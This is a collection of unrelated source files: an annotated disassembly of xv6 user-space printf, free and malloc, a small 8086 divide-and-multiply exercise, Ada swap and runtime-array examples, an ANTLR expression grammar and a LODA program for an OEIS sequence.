c68: e9 58 01 00 00 jmpq dc5 <printf+0x1d1>
if(c == '%'){
state = '%';
} else {
putc(fd, c);
}
} else if(state == '%'){
c6d: 83 fb 25 cmp $0x25,%ebx
c70: 0f 85 4f 01 00 00 jne dc5 <printf+0x1d1>
if(c == 'd'){
c76: 83 f8 64 cmp $0x64,%eax
c79: 75 2e jne ca9 <printf+0xb5>
printint(fd, va_arg(ap, int), 10, 1);
c7b: 8b 55 98 mov -0x68(%rbp),%edx
c7e: 83 fa 2f cmp $0x2f,%edx
c81: 77 0e ja c91 <printf+0x9d>
c83: 89 d0 mov %edx,%eax
c85: 83 c2 08 add $0x8,%edx
c88: 48 03 45 a8 add -0x58(%rbp),%rax
c8c: 89 55 98 mov %edx,-0x68(%rbp)
c8f: eb 0c jmp c9d <printf+0xa9>
c91: 48 8b 45 a0 mov -0x60(%rbp),%rax
c95: 48 8d 50 08 lea 0x8(%rax),%rdx
c99: 48 89 55 a0 mov %rdx,-0x60(%rbp)
c9d: b9 01 00 00 00 mov $0x1,%ecx
ca2: ba 0a 00 00 00 mov $0xa,%edx
ca7: eb 34 jmp cdd <printf+0xe9>
} else if(c == 'x' || c == 'p'){
ca9: 81 e2 f7 00 00 00 and $0xf7,%edx
caf: 83 fa 70 cmp $0x70,%edx
cb2: 75 38 jne cec <printf+0xf8>
printint(fd, va_arg(ap, int), 16, 0);
cb4: 8b 55 98 mov -0x68(%rbp),%edx
cb7: 83 fa 2f cmp $0x2f,%edx
cba: 77 0e ja cca <printf+0xd6>
cbc: 89 d0 mov %edx,%eax
cbe: 83 c2 08 add $0x8,%edx
cc1: 48 03 45 a8 add -0x58(%rbp),%rax
cc5: 89 55 98 mov %edx,-0x68(%rbp)
cc8: eb 0c jmp cd6 <printf+0xe2>
cca: 48 8b 45 a0 mov -0x60(%rbp),%rax
cce: 48 8d 50 08 lea 0x8(%rax),%rdx
cd2: 48 89 55 a0 mov %rdx,-0x60(%rbp)
cd6: 31 c9 xor %ecx,%ecx
cd8: ba 10 00 00 00 mov $0x10,%edx
cdd: 8b 30 mov (%rax),%esi
cdf: 44 89 e7 mov %r12d,%edi
ce2: e8 82 fe ff ff callq b69 <printint>
ce7: e9 d0 00 00 00 jmpq dbc <printf+0x1c8>
} else if(c == 's'){
cec: 83 f8 73 cmp $0x73,%eax
cef: 75 56 jne d47 <printf+0x153>
s = va_arg(ap, char*);
cf1: 8b 55 98 mov -0x68(%rbp),%edx
cf4: 83 fa 2f cmp $0x2f,%edx
cf7: 77 0e ja d07 <printf+0x113>
cf9: 89 d0 mov %edx,%eax
cfb: 83 c2 08 add $0x8,%edx
cfe: 48 03 45 a8 add -0x58(%rbp),%rax
d02: 89 55 98 mov %edx,-0x68(%rbp)
d05: eb 0c jmp d13 <printf+0x11f>
d07: 48 8b 45 a0 mov -0x60(%rbp),%rax
d0b: 48 8d 50 08 lea 0x8(%rax),%rdx
d0f: 48 89 55 a0 mov %rdx,-0x60(%rbp)
d13: 48 8b 18 mov (%rax),%rbx
if(s == 0)
s = "(null)";
d16: 48 c7 c0 38 10 00 00 mov $0x1038,%rax
d1d: 48 85 db test %rbx,%rbx
d20: 48 0f 44 d8 cmove %rax,%rbx
while(*s != 0){
d24: 8a 03 mov (%rbx),%al
d26: 84 c0 test %al,%al
d28: 0f 84 8e 00 00 00 je dbc <printf+0x1c8>
#include "user.h"
static void
putc(int fd, char c)
{
write(fd, &c, 1);
d2e: 48 8d 75 93 lea -0x6d(%rbp),%rsi
d32: ba 01 00 00 00 mov $0x1,%edx
d37: 44 89 e7 mov %r12d,%edi
d3a: 88 45 93 mov %al,-0x6d(%rbp)
s = va_arg(ap, char*);
if(s == 0)
s = "(null)";
while(*s != 0){
putc(fd, *s);
s++;
d3d: 48 ff c3 inc %rbx
#include "user.h"
static void
putc(int fd, char c)
{
write(fd, &c, 1);
d40: e8 9c fd ff ff callq ae1 <write>
d45: eb dd jmp d24 <printf+0x130>
s = "(null)";
while(*s != 0){
putc(fd, *s);
s++;
}
} else if(c == 'c'){
d47: 83 f8 63 cmp $0x63,%eax
d4a: 75 32 jne d7e <printf+0x18a>
putc(fd, va_arg(ap, uint));
d4c: 8b 55 98 mov -0x68(%rbp),%edx
d4f: 83 fa 2f cmp $0x2f,%edx
d52: 77 0e ja d62 <printf+0x16e>
d54: 89 d0 mov %edx,%eax
d56: 83 c2 08 add $0x8,%edx
d59: 48 03 45 a8 add -0x58(%rbp),%rax
d5d: 89 55 98 mov %edx,-0x68(%rbp)
d60: eb 0c jmp d6e <printf+0x17a>
d62: 48 8b 45 a0 mov -0x60(%rbp),%rax
d66: 48 8d 50 08 lea 0x8(%rax),%rdx
d6a: 48 89 55 a0 mov %rdx,-0x60(%rbp)
d6e: 8b 00 mov (%rax),%eax
#include "user.h"
static void
putc(int fd, char c)
{
write(fd, &c, 1);
d70: ba 01 00 00 00 mov $0x1,%edx
d75: 48 8d 75 94 lea -0x6c(%rbp),%rsi
d79: 88 45 94 mov %al,-0x6c(%rbp)
d7c: eb 36 jmp db4 <printf+0x1c0>
putc(fd, *s);
s++;
}
} else if(c == 'c'){
putc(fd, va_arg(ap, uint));
} else if(c == '%'){
d7e: 83 f8 25 cmp $0x25,%eax
d81: 75 0f jne d92 <printf+0x19e>
d83: 44 88 6d 95 mov %r13b,-0x6b(%rbp)
#include "user.h"
static void
putc(int fd, char c)
{
write(fd, &c, 1);
d87: ba 01 00 00 00 mov $0x1,%edx
d8c: 48 8d 75 95 lea -0x6b(%rbp),%rsi
d90: eb 22 jmp db4 <printf+0x1c0>
d92: 48 8d 75 97 lea -0x69(%rbp),%rsi
d96: ba 01 00 00 00 mov $0x1,%edx
d9b: 44 89 e7 mov %r12d,%edi
d9e: c6 45 97 25 movb $0x25,-0x69(%rbp)
da2: e8 3a fd ff ff callq ae1 <write>
da7: 48 8d 75 96 lea -0x6a(%rbp),%rsi
dab: 44 88 6d 96 mov %r13b,-0x6a(%rbp)
daf: ba 01 00 00 00 mov $0x1,%edx
db4: 44 89 e7 mov %r12d,%edi
db7: e8 25 fd ff ff callq ae1 <write>
} else {
// Unknown % sequence. Print it to draw attention.
putc(fd, '%');
putc(fd, c);
}
state = 0;
dbc: 31 db xor %ebx,%ebx
dbe: eb 05 jmp dc5 <printf+0x1d1>
state = 0;
for(i = 0; fmt[i]; i++){
c = fmt[i] & 0xff;
if(state == 0){
if(c == '%'){
state = '%';
dc0: bb 25 00 00 00 mov $0x25,%ebx
dc5: 49 ff c6 inc %r14
dc8: e9 65 fe ff ff jmpq c32 <printf+0x3e>
putc(fd, c);
}
state = 0;
}
}
}
dcd: 48 83 c4 50 add $0x50,%rsp
dd1: 5b pop %rbx
dd2: 41 5c pop %r12
dd4: 41 5d pop %r13
dd6: 41 5e pop %r14
dd8: 5d pop %rbp
dd9: c3 retq
0000000000000dda <free>:
static Header base;
static Header *freep;
void
free(void *ap)
{
dda: 55 push %rbp
Header *bp, *p;
bp = (Header*)ap - 1;
for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr)
ddb: 48 8b 05 6e 08 00 00 mov 0x86e(%rip),%rax # 1650 <freep>
void
free(void *ap)
{
Header *bp, *p;
bp = (Header*)ap - 1;
de2: 48 8d 57 f0 lea -0x10(%rdi),%rdx
static Header base;
static Header *freep;
void
free(void *ap)
{
de6: 48 89 e5 mov %rsp,%rbp
Header *bp, *p;
bp = (Header*)ap - 1;
for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr)
de9: 48 39 d0 cmp %rdx,%rax
dec: 48 8b 08 mov (%rax),%rcx
def: 72 14 jb e05 <free+0x2b>
if(p >= p->s.ptr && (bp > p || bp < p->s.ptr))
df1: 48 39 c8 cmp %rcx,%rax
df4: 72 0a jb e00 <free+0x26>
df6: 48 39 ca cmp %rcx,%rdx
df9: 72 0f jb e0a <free+0x30>
dfb: 48 39 d0 cmp %rdx,%rax
dfe: 72 0a jb e0a <free+0x30>
static Header base;
static Header *freep;
void
free(void *ap)
{
e00: 48 89 c8 mov %rcx,%rax
e03: eb e4 jmp de9 <free+0xf>
Header *bp, *p;
bp = (Header*)ap - 1;
for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr)
e05: 48 39 ca cmp %rcx,%rdx
e08: 73 e7 jae df1 <free+0x17>
if(p >= p->s.ptr && (bp > p || bp < p->s.ptr))
break;
if(bp + bp->s.size == p->s.ptr){
e0a: 8b 77 f8 mov -0x8(%rdi),%esi
e0d: 49 89 f0 mov %rsi,%r8
e10: 48 c1 e6 04 shl $0x4,%rsi
e14: 48 01 d6 add %rdx,%rsi
e17: 48 39 ce cmp %rcx,%rsi
e1a: 75 0e jne e2a <free+0x50>
bp->s.size += p->s.ptr->s.size;
e1c: 44 03 41 08 add 0x8(%rcx),%r8d
e20: 44 89 47 f8 mov %r8d,-0x8(%rdi)
bp->s.ptr = p->s.ptr->s.ptr;
e24: 48 8b 08 mov (%rax),%rcx
e27: 48 8b 09 mov (%rcx),%rcx
} else
bp->s.ptr = p->s.ptr;
e2a: 48 89 4f f0 mov %rcx,-0x10(%rdi)
if(p + p->s.size == bp){
e2e: 8b 48 08 mov 0x8(%rax),%ecx
e31: 48 89 ce mov %rcx,%rsi
e34: 48 c1 e1 04 shl $0x4,%rcx
e38: 48 01 c1 add %rax,%rcx
e3b: 48 39 ca cmp %rcx,%rdx
e3e: 75 0a jne e4a <free+0x70>
p->s.size += bp->s.size;
e40: 03 77 f8 add -0x8(%rdi),%esi
e43: 89 70 08 mov %esi,0x8(%rax)
p->s.ptr = bp->s.ptr;
e46: 48 8b 57 f0 mov -0x10(%rdi),%rdx
} else
p->s.ptr = bp;
e4a: 48 89 10 mov %rdx,(%rax)
freep = p;
e4d: 48 89 05 fc 07 00 00 mov %rax,0x7fc(%rip) # 1650 <freep>
}
e54: 5d pop %rbp
e55: c3 retq
0000000000000e56 <malloc>:
return freep;
}
void*
malloc(uint nbytes)
{
e56: 55 push %rbp
e57: 48 89 e5 mov %rsp,%rbp
e5a: 41 55 push %r13
e5c: 41 54 push %r12
e5e: 53 push %rbx
Header *p, *prevp;
uint nunits;
nunits = (nbytes + sizeof(Header) - 1)/sizeof(Header) + 1;
e5f: 89 fb mov %edi,%ebx
return freep;
}
void*
malloc(uint nbytes)
{
e61: 51 push %rcx
Header *p, *prevp;
uint nunits;
nunits = (nbytes + sizeof(Header) - 1)/sizeof(Header) + 1;
if((prevp = freep) == 0){
e62: 48 8b 0d e7 07 00 00 mov 0x7e7(%rip),%rcx # 1650 <freep>
malloc(uint nbytes)
{
Header *p, *prevp;
uint nunits;
nunits = (nbytes + sizeof(Header) - 1)/sizeof(Header) + 1;
e69: 48 83 c3 0f add $0xf,%rbx
e6d: 48 c1 eb 04 shr $0x4,%rbx
e71: ff c3 inc %ebx
if((prevp = freep) == 0){
e73: 48 85 c9 test %rcx,%rcx
e76: 75 27 jne e9f <malloc+0x49>
base.s.ptr = freep = prevp = &base;
e78: 48 c7 05 cd 07 00 00 movq $0x1660,0x7cd(%rip) # 1650 <freep>
e7f: 60 16 00 00
e83: 48 c7 05 d2 07 00 00 movq $0x1660,0x7d2(%rip) # 1660 <base>
e8a: 60 16 00 00
e8e: 48 c7 c1 60 16 00 00 mov $0x1660,%rcx
base.s.size = 0;
e95: c7 05 c9 07 00 00 00 movl $0x0,0x7c9(%rip) # 1668 <base+0x8>
e9c: 00 00 00
e9f: 81 fb 00 10 00 00 cmp $0x1000,%ebx
ea5: 41 bc 00 10 00 00 mov $0x1000,%r12d
}
for(p = prevp->s.ptr; ; prevp = p, p = p->s.ptr){
eab: 48 8b 01 mov (%rcx),%rax
eae: 44 0f 43 e3 cmovae %ebx,%r12d
char *p;
Header *hp;
if(nu < 4096)
nu = 4096;
p = sbrk(nu * sizeof(Header));
eb2: 45 89 e5 mov %r12d,%r13d
eb5: 41 c1 e5 04 shl $0x4,%r13d
if((prevp = freep) == 0){
base.s.ptr = freep = prevp = &base;
base.s.size = 0;
}
for(p = prevp->s.ptr; ; prevp = p, p = p->s.ptr){
if(p->s.size >= nunits){
eb9: 8b 50 08 mov 0x8(%rax),%edx
ebc: 39 d3 cmp %edx,%ebx
ebe: 77 26 ja ee6 <malloc+0x90>
if(p->s.size == nunits)
ec0: 75 08 jne eca <malloc+0x74>
prevp->s.ptr = p->s.ptr;
ec2: 48 8b 10 mov (%rax),%rdx
ec5: 48 89 11 mov %rdx,(%rcx)
ec8: eb 0f jmp ed9 <malloc+0x83>
else {
p->s.size -= nunits;
eca: 29 da sub %ebx,%edx
ecc: 89 50 08 mov %edx,0x8(%rax)
p += p->s.size;
ecf: 48 c1 e2 04 shl $0x4,%rdx
ed3: 48 01 d0 add %rdx,%rax
p->s.size = nunits;
ed6: 89 58 08 mov %ebx,0x8(%rax)
}
freep = prevp;
ed9: 48 89 0d 70 07 00 00 mov %rcx,0x770(%rip) # 1650 <freep>
return (void*)(p + 1);
ee0: 48 83 c0 10 add $0x10,%rax
ee4: eb 3a jmp f20 <malloc+0xca>
}
if(p == freep)
ee6: 48 3b 05 63 07 00 00 cmp 0x763(%rip),%rax # 1650 <freep>
eed: 75 27 jne f16 <malloc+0xc0>
char *p;
Header *hp;
if(nu < 4096)
nu = 4096;
p = sbrk(nu * sizeof(Header));
eef: 44 89 ef mov %r13d,%edi
ef2: e8 52 fc ff ff callq b49 <sbrk>
if(p == (char*)-1)
ef7: 48 83 f8 ff cmp $0xffffffffffffffff,%rax
efb: 74 21 je f1e <malloc+0xc8>
return 0;
hp = (Header*)p;
hp->s.size = nu;
free((void*)(hp + 1));
efd: 48 8d 78 10 lea 0x10(%rax),%rdi
nu = 4096;
p = sbrk(nu * sizeof(Header));
if(p == (char*)-1)
return 0;
hp = (Header*)p;
hp->s.size = nu;
f01: 44 89 60 08 mov %r12d,0x8(%rax)
free((void*)(hp + 1));
f05: e8 d0 fe ff ff callq dda <free>
return freep;
f0a: 48 8b 05 3f 07 00 00 mov 0x73f(%rip),%rax # 1650 <freep>
}
freep = prevp;
return (void*)(p + 1);
}
if(p == freep)
if((p = morecore(nunits)) == 0)
f11: 48 85 c0 test %rax,%rax
f14: 74 08 je f1e <malloc+0xc8>
return 0;
}
f16: 48 89 c1 mov %rax,%rcx
nunits = (nbytes + sizeof(Header) - 1)/sizeof(Header) + 1;
if((prevp = freep) == 0){
base.s.ptr = freep = prevp = &base;
base.s.size = 0;
}
for(p = prevp->s.ptr; ; prevp = p, p = p->s.ptr){
f19: 48 8b 00 mov (%rax),%rax
return (void*)(p + 1);
}
if(p == freep)
if((p = morecore(nunits)) == 0)
return 0;
}
f1c: eb 9b jmp eb9 <malloc+0x63>
freep = prevp;
return (void*)(p + 1);
}
if(p == freep)
if((p = morecore(nunits)) == 0)
return 0;
f1e: 31 c0 xor %eax,%eax
}
}
f20: 5a pop %rdx
f21: 5b pop %rbx
f22: 41 5c pop %r12
f24: 41 5d pop %r13
f26: 5d pop %rbp
f27: c3 retq
|
YearIII/SemesterV/Microprocessors/Others/Practical Practice/set B/DIVnMUL/divmul.asm
|
jarvis-1805/myappsample
| 2 |
96646
|
; Write a program that divides the number in CL by the number in BL and then multiply the
; result by 4. The final answer must be a 16-bit number stored the DX register.
.MODEL SMALL
.STACK
.CODE
.STARTUP
MOV CL, 04H
MOV BL, 02H
MOV AL, CL
DIV BL
MOV CL, 04H
MUL CL
MOV DX, AX
.EXIT
END
|
week3/swap.adb
|
adammw/rtp_labs
| 0 |
5118
|
<filename>week3/swap.adb
with Ada.Text_IO, Ada.Integer_Text_IO;
use Ada.Text_IO, Ada.Integer_Text_IO;
procedure Swap is
A, B : Integer;
procedure Swap_It (A, B: in out Integer) is
Temp : Integer;
begin
Temp := B;
B := A;
A := Temp;
end Swap_It;
begin
Put("A=");
Get(A); Skip_Line;
Put("B=");
Get(B); Skip_Line;
Swap_It(A, B);
Put_Line("A=" & A'Img & " B=" & B'Img);
end Swap;
|
hansql-logical/src/main/antlr4/org/lealone/hansql/common/expression/parser/ExprParser.g4
|
lealone/HanSQL
| 6 |
1928
|
<filename>hansql-logical/src/main/antlr4/org/lealone/hansql/common/expression/parser/ExprParser.g4
parser grammar ExprParser;
options{
language=Java;
tokenVocab=ExprLexer;
}
@header {
/*
* Licensed to the Apache Software Foundation (ASF) under one
* or more contributor license agreements. See the NOTICE file
* distributed with this work for additional information
* regarding copyright ownership. The ASF licenses this file
* to you under the Apache License, Version 2.0 (the
* "License"); you may not use this file except in compliance
* with the License. You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
//Explicit import...
import java.util.*;
import org.lealone.hansql.common.expression.*;
import org.lealone.hansql.common.expression.PathSegment.NameSegment;
import org.lealone.hansql.common.expression.PathSegment.ArraySegment;
import org.lealone.hansql.common.types.*;
import org.lealone.hansql.common.types.TypeProtos.*;
import org.lealone.hansql.common.types.TypeProtos.DataMode;
import org.lealone.hansql.common.types.TypeProtos.MajorType;
import org.lealone.hansql.common.exceptions.ExpressionParsingException;
}
@members{
private String fullExpression;
private int tokenPos;
public static void p(String s){
System.out.println(s);
}
public ExpressionPosition pos(Token token){
return new ExpressionPosition(fullExpression, token.getTokenIndex());
}
}
parse returns [LogicalExpression e]
: expression EOF {
$e = $expression.e;
if (fullExpression == null) fullExpression = $expression.text;
tokenPos = $expression.start.getTokenIndex();
}
;
functionCall returns [LogicalExpression e]
: Identifier OParen exprList? CParen {$e =
FunctionCallFactory.createExpression($Identifier.text, pos($Identifier),
($exprList.ctx == null ? new ArrayList<>() : $exprList.listE)); }
;
convertCall returns [LogicalExpression e]
: Convert OParen expression Comma String CParen
{ $e = FunctionCallFactory.createConvert($Convert.text, $String.text, $expression.e, pos($Convert));}
;
anyValueCall returns [LogicalExpression e]
: AnyValue OParen exprList? CParen {$e =
FunctionCallFactory.createExpression($AnyValue.text, pos($AnyValue),
($exprList.ctx == null ? new ArrayList<>() : $exprList.listE)); }
;
castCall returns [LogicalExpression e]
@init{
List<LogicalExpression> exprs = new ArrayList<>();
ExpressionPosition p = null;
}
: Cast OParen expression As dataType repeat? CParen
{ if ($repeat.ctx != null && $repeat.isRep.compareTo(Boolean.TRUE)==0)
$e = FunctionCallFactory.createCast(TypeProtos.MajorType.newBuilder().mergeFrom($dataType.type).setMode(DataMode.REPEATED).build(), pos($Cast), $expression.e);
else
$e = FunctionCallFactory.createCast($dataType.type, pos($Cast), $expression.e);}
;
repeat returns [Boolean isRep]
: Repeat { $isRep = Boolean.TRUE;}
;
dataType returns [MajorType type]
: numType {$type =$numType.type;}
| charType {$type =$charType.type;}
| dateType {$type =$dateType.type;}
| booleanType {$type =$booleanType.type;}
;
booleanType returns [MajorType type]
: BIT { $type = Types.required(TypeProtos.MinorType.BIT); }
;
numType returns [MajorType type]
: INT { $type = Types.required(TypeProtos.MinorType.INT); }
| BIGINT { $type = Types.required(TypeProtos.MinorType.BIGINT); }
| FLOAT4 { $type = Types.required(TypeProtos.MinorType.FLOAT4); }
| FLOAT8 { $type = Types.required(TypeProtos.MinorType.FLOAT8); }
| DECIMAL9 OParen precision Comma scale CParen { $type = TypeProtos.MajorType.newBuilder().setMinorType(TypeProtos.MinorType.DECIMAL9).setMode(DataMode.REQUIRED).setPrecision($precision.value.intValue()).setScale($scale.value.intValue()).build(); }
| DECIMAL18 OParen precision Comma scale CParen { $type = TypeProtos.MajorType.newBuilder().setMinorType(TypeProtos.MinorType.DECIMAL18).setMode(DataMode.REQUIRED).setPrecision($precision.value.intValue()).setScale($scale.value.intValue()).build(); }
| DECIMAL28DENSE OParen precision Comma scale CParen { $type = TypeProtos.MajorType.newBuilder().setMinorType(TypeProtos.MinorType.DECIMAL28DENSE).setMode(DataMode.REQUIRED).setPrecision($precision.value.intValue()).setScale($scale.value.intValue()).build(); }
| DECIMAL28SPARSE OParen precision Comma scale CParen { $type = TypeProtos.MajorType.newBuilder().setMinorType(TypeProtos.MinorType.DECIMAL28SPARSE).setMode(DataMode.REQUIRED).setPrecision($precision.value.intValue()).setScale($scale.value.intValue()).build(); }
| DECIMAL38DENSE OParen precision Comma scale CParen { $type = TypeProtos.MajorType.newBuilder().setMinorType(TypeProtos.MinorType.DECIMAL38DENSE).setMode(DataMode.REQUIRED).setPrecision($precision.value.intValue()).setScale($scale.value.intValue()).build(); }
| DECIMAL38SPARSE OParen precision Comma scale CParen { $type = TypeProtos.MajorType.newBuilder().setMinorType(TypeProtos.MinorType.DECIMAL38SPARSE).setMode(DataMode.REQUIRED).setPrecision($precision.value.intValue()).setScale($scale.value.intValue()).build(); }
| VARDECIMAL OParen precision Comma scale CParen { $type = TypeProtos.MajorType.newBuilder().setMinorType(TypeProtos.MinorType.VARDECIMAL).setMode(DataMode.REQUIRED).setPrecision($precision.value.intValue()).setScale($scale.value.intValue()).build(); }
;
charType returns [MajorType type]
: VARCHAR typeLen {$type = TypeProtos.MajorType.newBuilder().setMinorType(TypeProtos.MinorType.VARCHAR).setMode(DataMode.REQUIRED).setPrecision($typeLen.length.intValue()).build(); }
| VARBINARY typeLen {$type = TypeProtos.MajorType.newBuilder().setMinorType(TypeProtos.MinorType.VARBINARY).setMode(DataMode.REQUIRED).setPrecision($typeLen.length.intValue()).build();}
;
precision returns [Integer value]
: Number {$value = Integer.parseInt($Number.text); }
;
scale returns [Integer value]
: Number {$value = Integer.parseInt($Number.text); }
;
dateType returns [MajorType type]
: DATE { $type = Types.required(TypeProtos.MinorType.DATE); }
| TIMESTAMP { $type = Types.required(TypeProtos.MinorType.TIMESTAMP); }
| TIME { $type = Types.required(TypeProtos.MinorType.TIME); }
| TIMESTAMPTZ { $type = Types.required(TypeProtos.MinorType.TIMESTAMPTZ); }
| INTERVAL { $type = Types.required(TypeProtos.MinorType.INTERVAL); }
| INTERVALYEAR { $type = Types.required(TypeProtos.MinorType.INTERVALYEAR); }
| INTERVALDAY { $type = Types.required(TypeProtos.MinorType.INTERVALDAY); }
;
typeLen returns [Integer length]
: OParen Number CParen {$length = Integer.parseInt($Number.text);}
;
ifStatement returns [LogicalExpression e]
@init {
IfExpression.Builder s = IfExpression.newBuilder();
}
@after {
$e = s.build();
}
: i1=ifStat {s.setIfCondition($i1.i); s.setPosition(pos($i1.start)); } (elseIfStat { s.setIfCondition($elseIfStat.i); } )* Else expression { s.setElse($expression.e); }End
;
ifStat returns [IfExpression.IfCondition i]
: If e1=expression Then e2=expression { $i = new IfExpression.IfCondition($e1.e, $e2.e); }
;
elseIfStat returns [IfExpression.IfCondition i]
: Else If e1=expression Then e2=expression { $i = new IfExpression.IfCondition($e1.e, $e2.e); }
;
caseStatement returns [LogicalExpression e]
@init {
IfExpression.Builder s = IfExpression.newBuilder();
}
@after {
$e = s.build();
}
: Case (caseWhenStat {s.setIfCondition($caseWhenStat.e); }) + caseElseStat { s.setElse($caseElseStat.e); } End
;
caseWhenStat returns [IfExpression.IfCondition e]
: When e1=expression Then e2=expression {$e = new IfExpression.IfCondition($e1.e, $e2.e); }
;
caseElseStat returns [LogicalExpression e]
: Else expression {$e = $expression.e; }
;
exprList returns [List<LogicalExpression> listE]
@init{
$listE = new ArrayList<>();
}
: e1=expression {$listE.add($e1.e); } (Comma e2=expression {$listE.add($e2.e); } )*
;
expression returns [LogicalExpression e]
: ifStatement {$e = $ifStatement.e; }
| caseStatement {$e = $caseStatement.e; }
| condExpr {$e = $condExpr.e; }
;
condExpr returns [LogicalExpression e]
: orExpr {$e = $orExpr.e; }
;
orExpr returns [LogicalExpression e]
@init{
List<LogicalExpression> exprs = new ArrayList<>();
ExpressionPosition p = null;
}
@after{
if(exprs.size() == 1){
$e = exprs.get(0);
}else{
$e = FunctionCallFactory.createBooleanOperator("or", p, exprs);
}
}
: a1=andExpr { exprs.add($a1.e); p = pos( $a1.start );} (Or a2=andExpr { exprs.add($a2.e); })*
;
andExpr returns [LogicalExpression e]
@init{
List<LogicalExpression> exprs = new ArrayList<>();
ExpressionPosition p = null;
}
@after{
if(exprs.size() == 1){
$e = exprs.get(0);
}else{
$e = FunctionCallFactory.createBooleanOperator("and", p, exprs);
}
}
: e1=equExpr { exprs.add($e1.e); p = pos( $e1.start ); } ( And e2=equExpr { exprs.add($e2.e); })*
;
equExpr returns [LogicalExpression e]
@init{
List<LogicalExpression> exprs = new ArrayList<>();
List<String> cmps = new ArrayList<>();
ExpressionPosition p = null;
}
@after{
$e = FunctionCallFactory.createByOp(exprs, p, cmps);
}
: r1=relExpr { exprs.add($r1.e); p = pos( $r1.start );
} ( cmpr= ( Equals | NEquals ) r2=relExpr {exprs.add($r2.e); cmps.add($cmpr.text); })*
;
relExpr returns [LogicalExpression e]
: left=addExpr {$e = $left.e; } (cmpr = (GTEquals | LTEquals | GT | LT) right=addExpr {$e = FunctionCallFactory.createExpression($cmpr.text, pos($left.start), $left.e, $right.e); } )?
;
addExpr returns [LogicalExpression e]
@init{
List<LogicalExpression> exprs = new ArrayList<>();
List<String> ops = new ArrayList<>();
ExpressionPosition p = null;
}
@after{
$e = FunctionCallFactory.createByOp(exprs, p, ops);
}
: m1=mulExpr {exprs.add($m1.e); p = pos($m1.start); } ( op=(Plus|Minus) m2=mulExpr {exprs.add($m2.e); ops.add($op.text); })*
;
mulExpr returns [LogicalExpression e]
@init{
List<LogicalExpression> exprs = new ArrayList<>();
List<String> ops = new ArrayList<>();
ExpressionPosition p = null;
}
@after{
$e = FunctionCallFactory.createByOp(exprs, p, ops);
}
: p1=xorExpr {exprs.add($p1.e); p = pos($p1.start);} (op=(Asterisk|ForwardSlash|Percent) p2=xorExpr {exprs.add($p2.e); ops.add($op.text); } )*
;
xorExpr returns [LogicalExpression e]
@init{
List<LogicalExpression> exprs = new ArrayList<>();
List<String> ops = new ArrayList<>();
ExpressionPosition p = null;
}
@after{
$e = FunctionCallFactory.createByOp(exprs, p, ops);
}
: u1=unaryExpr {exprs.add($u1.e); p = pos($u1.start);} (Caret u2=unaryExpr {exprs.add($u2.e); ops.add($Caret.text);} )*
;
unaryExpr returns [LogicalExpression e]
: sign=(Plus|Minus)? Number {$e = ValueExpressions.getNumericExpression($sign.text, $Number.text, pos(($sign != null) ? $sign : $Number)); }
| Minus atom {$e = FunctionCallFactory.createExpression("u-", pos($Minus), $atom.e); }
| Excl atom {$e= FunctionCallFactory.createExpression("!", pos($Excl), $atom.e); }
| atom {$e = $atom.e; }
;
atom returns [LogicalExpression e]
: Bool {$e = new ValueExpressions.BooleanExpression($Bool.text, pos($Bool)); }
| lookup {$e = $lookup.e; }
;
pathSegment returns [NameSegment seg]
: s1=nameSegment {$seg = $s1.seg;}
;
nameSegment returns [NameSegment seg]
: QuotedIdentifier ( (Period s1=pathSegment) | s2=arraySegment)?
{
if ($s1.ctx == null && $s2.ctx == null) {
$seg = new NameSegment($QuotedIdentifier.text);
} else {
$seg = new NameSegment($QuotedIdentifier.text, ($s1.ctx == null ? $s2.seg : $s1.seg));
}
}
| Identifier ( (Period s1=pathSegment) | s2=arraySegment)?
{
if ($s1.ctx == null && $s2.ctx == null) {
$seg = new NameSegment($Identifier.text);
} else {
$seg = new NameSegment($Identifier.text, ($s1.ctx == null ? $s2.seg : $s1.seg));
}
}
;
arraySegment returns [PathSegment seg]
: OBracket Number CBracket ( (Period s1=pathSegment) | s2=arraySegment)?
{
if ($s1.ctx == null && $s2.ctx == null) {
$seg = new ArraySegment($Number.text);
} else {
$seg = new ArraySegment($Number.text, ($s1.ctx == null ? $s2.seg : $s1.seg));
}
}
;
lookup returns [LogicalExpression e]
: functionCall {$e = $functionCall.e ;}
| convertCall {$e = $convertCall.e; }
| anyValueCall {$e = $anyValueCall.e; }
| castCall {$e = $castCall.e; }
| pathSegment {$e = new SchemaPath($pathSegment.seg, pos($pathSegment.start) ); }
| String {$e = new ValueExpressions.QuotedString($String.text, $String.text.length(), pos($String) ); }
| OParen expression CParen {$e = $expression.e; }
| SingleQuote Identifier SingleQuote {$e = new SchemaPath($Identifier.text, pos($Identifier) ); }
;
|
Task/Create-a-two-dimensional-array-at-runtime/Ada/create-a-two-dimensional-array-at-runtime.ada
|
LaudateCorpus1/RosettaCodeData
| 1 |
20405
|
<filename>Task/Create-a-two-dimensional-array-at-runtime/Ada/create-a-two-dimensional-array-at-runtime.ada
with Ada.Text_Io;
with Ada.Float_Text_Io;
with Ada.Integer_Text_Io;
procedure Two_Dimensional_Arrays is
type Matrix_Type is array(Positive range <>, Positive range <>) of Float;
Dim_1 : Positive;
Dim_2 : Positive;
begin
Ada.Integer_Text_Io.Get(Item => Dim_1);
Ada.Integer_Text_Io.Get(Item => Dim_2);
-- Create an inner block with the correctly sized array
declare
Matrix : Matrix_Type(1..Dim_1, 1..Dim_2);
begin
Matrix(1, Dim_2) := 3.14159;
Ada.Float_Text_Io.Put(Item => Matrix(1, Dim_2), Fore => 1, Aft => 5, Exp => 0);
Ada.Text_Io.New_Line;
end;
-- The variable Matrix is popped off the stack automatically
end Two_Dimensional_Arrays;
|
oeis/077/A077937.asm
|
neoneye/loda-programs
| 11 |
166076
|
<gh_stars>10-100
; A077937: Expansion of 1/(1-2*x-2*x^2+2*x^3).
; Submitted by <NAME>
; 1,2,6,14,36,88,220,544,1352,3352,8320,20640,51216,127072,315296,782304,1941056,4816128,11949760,29649664,73566592,182532992,452899840,1123732480,2788198656,6918062592,17165057536,42589842944,105673675776,262196922368
mov $1,1
mov $3,1
lpb $0
sub $0,1
add $2,$3
mov $3,$1
mov $1,$2
mul $1,2
add $4,$2
mov $2,$4
add $2,1
lpe
mov $0,$1
|
